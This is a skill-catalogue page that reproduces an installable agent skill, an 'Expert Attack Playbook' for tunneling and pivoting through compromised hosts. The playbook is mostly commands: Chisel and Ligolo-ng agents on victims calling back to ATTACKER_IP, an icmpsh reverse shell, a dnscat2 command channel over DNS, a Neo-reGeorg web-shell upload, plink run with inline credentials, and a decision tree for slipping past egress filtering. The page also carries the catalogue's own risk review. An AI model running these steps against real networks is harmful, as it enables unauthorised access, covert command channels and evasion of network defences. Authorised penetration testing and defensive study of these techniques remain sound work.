tunneling-and-pivoting
Tunneling and pivoting playbook
Install / Use
npx skills add yaklang/hack-skills --skill tunneling-and-pivotingInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
Development & EngineeringSupported Platforms
Tags
Our assessment of tunneling-and-pivoting
tunneling-and-pivoting scores 86/100 on our quality scale, 2382nd of 4,700 Development & Engineering skills we index.
Its SKILL.md is 8.8 KB long, well organised into 82 sections with 18 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so tunneling-and-pivoting is actively maintained.
- Our last check on 2026-11-03 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit โ read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill is an offensive attack playbook instructing the agent to establish tunnels through 'compromised hosts' using SSH forwarding, Chisel, Ligolo-ng, socat, DNS/ICMP/HTTP tunneling, and ProxyChains, which are used to bypass network boun.
AI review: risky
- The skill is an offensive attack playbook instructing the agent to establish tunnels through 'compromised hosts' using SSH forwarding, Chisel, Ligolo-ng, socat, DNS/ICMP/HTTP tunneling, and ProxyChains, which are used to bypass network boun
- It directs the agent to run reverse-shell and backdoor-like commands, such as Ligolo-ng listener_add for reverse shells, icmpsh reverse shell, dnscat2 command channel, and Neo-reGeorg web-shell upload, enabling unauthorized access and data
- It includes automated credential-based commands (e.g., 'echo y | plink.exe -ssh -l user -pw password ...') and techniques to blend malicious traffic with legitimate protocols, which can facilitate credential use, pivoting, and concealment o
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-02. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk โ read a skill before letting an agent act on it.
tunneling-and-pivoting compared with similar skills
All 4 of these similar skills score higher than tunneling-and-pivoting; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| tunneling-and-pivoting (this skill)by yaklang | 86 | 2.3k | 2mo ago | SKILL.md |
| taste-skillby Leonxlnx | 100 | 116.8k | 8d ago | CLAUDE.md |
| ai-job-searchby ai-job-search-dev | 100 | 72.1k | today | CLAUDE.md |
| claude-howtoby luongnv89 | 100 | 47.3k | 2d ago | CLAUDE.md |
| lobehubby lobehub | 100 | 85.6k | today | MCP Server |
Frequently asked questions
- How do I install tunneling-and-pivoting?
- Run
npx skills add yaklang/hack-skills --skill tunneling-and-pivoting. The install tabs above show the steps for each supported agent. - Which AI agents does tunneling-and-pivoting work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is tunneling-and-pivoting safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill is an offensive attack playbook instructing the agent to establish tunnels through 'compromised hosts' using SSH forwarding, Chisel, Ligolo-ng, socat, DNS/ICMP/HTTP tunneling, and ProxyChains, which are used to bypass network boun. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is tunneling-and-pivoting still maintained?
- The repository was last updated about 2 months ago, so tunneling-and-pivoting is actively maintained.
Skill content
View source on GitHubname: tunneling-and-pivoting description: >- Tunneling and pivoting playbook. Use when establishing network tunnels through compromised hosts including SSH tunneling, Chisel, Ligolo-ng, socat, DNS/ICMP/HTTP tunneling, ProxyChains, and multi-layer pivoting strategies.
SKILL: Tunneling & Pivoting โ Expert Attack Playbook
AI LOAD INSTRUCTION: Expert tunneling and pivoting techniques. Covers SSH port forwarding (local/remote/dynamic/jump), Chisel reverse SOCKS, Ligolo-ng transparent TUN pivoting, socat relays, DNS/ICMP/HTTP tunneling, ProxyChains configuration, Windows pivoting (netsh/plink), and multi-layer chaining. Base models miss egress-aware tool selection and transparent routing setup.
0. RELATED ROUTING
Before going deep, consider loading:
- network-protocol-attacks for network-level attacks from pivot positions
- reverse-shell-techniques for establishing initial access shells
- unauthorized-access-common-services for exploiting services discovered through pivots
- linux-privilege-escalation or windows-privilege-escalation after pivoting to new hosts
1. SSH TUNNELING
Local Port Forward
Forward a local port to a remote service through the pivot.
# Access INTERNAL_HOST:3306 via localhost:3306
ssh -L 3306:INTERNAL_HOST:3306 user@PIVOT -N
# Access internal web app
ssh -L 8080:10.10.10.100:80 user@PIVOT -N
# Browse: http://localhost:8080
# Bind to all interfaces (share with teammates)
ssh -L 0.0.0.0:8080:INTERNAL:80 user@PIVOT -N
Remote Port Forward
Expose a local service to the pivot host's network.
# Make attacker's port 8000 accessible on pivot as pivot:9000
ssh -R 9000:127.0.0.1:8000 user@PIVOT -N
# Expose attacker's listener to internal network
ssh -R 0.0.0.0:4444:127.0.0.1:4444 user@PIVOT -N
# Internal hosts connect to PIVOT:4444 โ reaches attacker:4444
Dynamic Port Forward (SOCKS Proxy)
# Create SOCKS4/5 proxy on localhost:1080
ssh -D 1080 user@PIVOT -N
# Use with proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains nmap -sT -Pn -p 80,443,445 INTERNAL_SUBNET/24
# Or with browser SOCKS proxy โ browse internal web apps
Jump Host (ProxyJump)
# Single jump
ssh -J jumphost user@TARGET
# Multiple jumps
ssh -J jump1,jump2 user@TARGET
# SSH config for persistent jump
# ~/.ssh/config
Host internal-target
HostName 10.10.10.100
User admin
ProxyJump user@jumphost.example.com
2. CHISEL
Reverse SOCKS Proxy (Most Common)
# Attacker: start chisel server
chisel server --reverse --port 8080
# Victim: connect back as client, create reverse SOCKS
chisel client ATTACKER_IP:8080 R:socks
# Result: SOCKS5 proxy on attacker's 127.0.0.1:1080
proxychains nmap -sT -Pn INTERNAL/24
Port Forwarding
# Forward specific port
chisel client ATTACKER:8080 R:3306:INTERNAL_DB:3306
# Multiple forwards
chisel client ATTACKER:8080 R:3306:DB:3306 R:8080:WEB:80
# Reverse port forward (expose attacker service to victim network)
chisel client ATTACKER:8080 R:0.0.0.0:4444:127.0.0.1:4444
3. LIGOLO-NG
TUN interface-based pivoting โ transparent routing without SOCKS.
# Attacker: start proxy
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# Agent (victim): connect to proxy
ligolo-agent -connect ATTACKER_IP:11601 -ignore-cert
# In ligolo-proxy console:
>> session # select agent session
>> ifconfig # view agent's network interfaces
>> start # start tunnel
# Add routes on attacker to reach internal networks
sudo ip route add 10.10.10.0/24 dev ligolo
sudo ip route add 172.16.0.0/16 dev ligolo
Listener (Reverse Shell Catcher Through Pivot)
# In ligolo-proxy console:
>> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
# Internal hosts connecting to AGENT:4444 โ forwarded to attacker:4444
Double Pivot
# Agent 1 on DMZ โ tunnel to internal network 1
# Agent 2 on internal network 1 โ tunnel to internal network 2
# Add routes for both networks on attacker
sudo ip route add 10.0.0.0/24 dev ligolo # via agent 1
sudo ip route add 172.16.0.0/24 dev ligolo # via agent 2
4. SOCAT
# TCP port forward
socat TCP-LISTEN:8080,fork TCP:INTERNAL:80
# UDP relay
socat UDP-LISTEN:53,fork UDP:INTERNAL_DNS:53
# Encrypted tunnel
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:INTERNAL:80
# File transfer via socat
# Receiver:
socat TCP-LISTEN:9999,fork file:received_file,create
# Sender:
socat TCP:RECEIVER:9999 file:send_file
5. PROXYCHAINS / PROXIFIER
ProxyChains Configuration
# /etc/proxychains4.conf
strict_chain # fail if any proxy is down
# dynamic_chain # skip dead proxies
# random_chain # randomize proxy order
[ProxyList]
socks5 127.0.0.1 1080 # first hop (SSH dynamic forward)
socks5 127.0.0.1 1081 # second hop (if chaining)
# Usage
proxychains nmap -sT -Pn -p 22,80,445 10.10.10.0/24
proxychains crackmapexec smb 10.10.10.0/24
proxychains evil-winrm -i 10.10.10.50 -u admin -p pass
6. WINDOWS PIVOTING
Netsh Port Forwarding
:: Forward port (requires admin)
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=INTERNAL_IP
:: List forwards
netsh interface portproxy show all
:: Remove
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
Plink (PuTTY CLI)
:: Dynamic SOCKS (like ssh -D)
plink.exe -ssh -D 1080 -N user@ATTACKER
:: Remote port forward
plink.exe -ssh -R 4444:127.0.0.1:4444 user@ATTACKER
:: Automated (non-interactive, accept host key)
echo y | plink.exe -ssh -l user -pw password -R 9050:127.0.0.1:9050 ATTACKER
7. DNS TUNNELING
# iodine โ IP-over-DNS
# Server (attacker, with NS record pointing to attacker):
iodined -f -c -P password 10.0.0.1 t1.yourdomain.com
# Client (victim):
iodine -f -P password t1.yourdomain.com
# Creates dns0 interface โ route traffic through it
# dnscat2 โ command channel over DNS
# Server:
ruby dnscat2.rb yourdomain.com
# Client:
./dnscat --dns=server=ATTACKER,port=53 --secret=SHARED_SECRET
8. ICMP TUNNELING
# icmpsh โ ICMP reverse shell (no raw socket on victim needed for Windows)
# Attacker:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python3 icmpsh_m.py ATTACKER_IP VICTIM_IP
# Victim (Windows):
icmpsh.exe -t ATTACKER_IP
# ptunnel-ng โ TCP-over-ICMP
# Server:
ptunnel-ng -r INTERNAL_HOST -R 22
# Client:
ptunnel-ng -p PIVOT_IP -l 2222 -r INTERNAL_HOST -R 22
ssh -p 2222 user@127.0.0.1
9. HTTP TUNNELING
# Neo-reGeorg โ SOCKS proxy via web shell
# Generate tunnel web shell:
python3 neoreg.py generate -k PASSWORD
# Upload tunnel.php/aspx/jsp to target web server
# Connect:
python3 neoreg.py -k PASSWORD -u http://TARGET/tunnel.php
# SOCKS proxy on 127.0.0.1:1080
# Tunna โ HTTP tunnel (alternative)
python2 proxy.py -u http://TARGET/conn.php -l 4444 -r 3389 -a INTERNAL_IP
10. PIVOTING DECISION MATRIX
| Egress Allowed | Tool | Notes | |---|---|---| | TCP outbound (any port) | Chisel, Ligolo-ng, SSH | Fastest setup | | TCP 80/443 only | Chisel (HTTP/S), Neo-reGeorg | Blend with web traffic | | DNS only (53/udp) | iodine, dnscat2 | Slow but stealthy | | ICMP only | ptunnel-ng, icmpsh | Very restricted environments | | No outbound | Bind shell + port forward in | Needs inbound access to pivot | | Web shell only | Neo-reGeorg, Tunna | When only HTTP file upload works |
11. DECISION TREE
Compromised host โ need to reach internal network
โ
โโโ Can install tools on pivot?
โ โโโ YES + outbound TCP allowed?
โ โ โโโ Need transparent routing? โ Ligolo-ng (ยง3)
โ โ โโโ Need SOCKS proxy? โ Chisel reverse SOCKS (ยง2)
โ โ โโโ SSH available? โ SSH dynamic forward (ยง1)
โ โ
โ โโโ YES + only HTTP(S) outbound?
โ โ โโโ Chisel over HTTPS (ยง2)
โ โ โโโ Upload web tunnel โ Neo-reGeorg (ยง9)
โ โ
โ โโโ YES + only DNS outbound?
โ โ โโโ iodine or dnscat2 (ยง7)
โ โ
โ โโโ YES + only ICMP allowed?
โ โโโ ptunnel-ng or icmpsh (ยง8)
โ
โโโ Cannot install tools (web shell only)?
โ โโโ Neo-reGeorg / Tunna via web shell (ยง9)
โ
โโโ Windows pivot?
โ โโโ Admin access? โ netsh portproxy (ยง6)
โ โโโ SSH client available? โ ssh.exe (Windows 10+) (ยง1)
โ โโโ Outbound SSH? โ plink (ยง6)
โ
โโโ Need multi-layer pivot?
โ โโโ Ligolo-ng: multiple agents + route stacking (ยง3)
โ โโโ SSH ProxyJump chaining (ยง1)
โ โโโ ProxyChains with multiple SOCKS (ยง5)
โ
โโโ Teammate needs access too?
โโโ Bind SOCKS on 0.0.0.0 (ssh -L 0.0.0.0:...)
โโโ Share Ligolo-ng routes via common proxy
Related Skills
taste-skill
116.8kAgent skills that give coding agents taste: art direction, reference images and a browser check instead of generic AI pages
ai-job-search
72.1kThe job search that runs on your machine. AI job application framework built on Claude Code: evaluate postings, tailor CVs, write cover letters, prep interviews. Fork it and own it.
claude-howto
47.3kA visual, example-driven guide to Claude Code โ from basic concepts to advanced agents, with copy-paste templates that bring immediate value.
lobehub
85.6k๐คฏ LobeHub - Super-Agents on Your Team. Add super-agents to the chats your team already uses.They take on work by themselves and get better every week.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit โ see the Safety scan above for what the skill file itself contains.
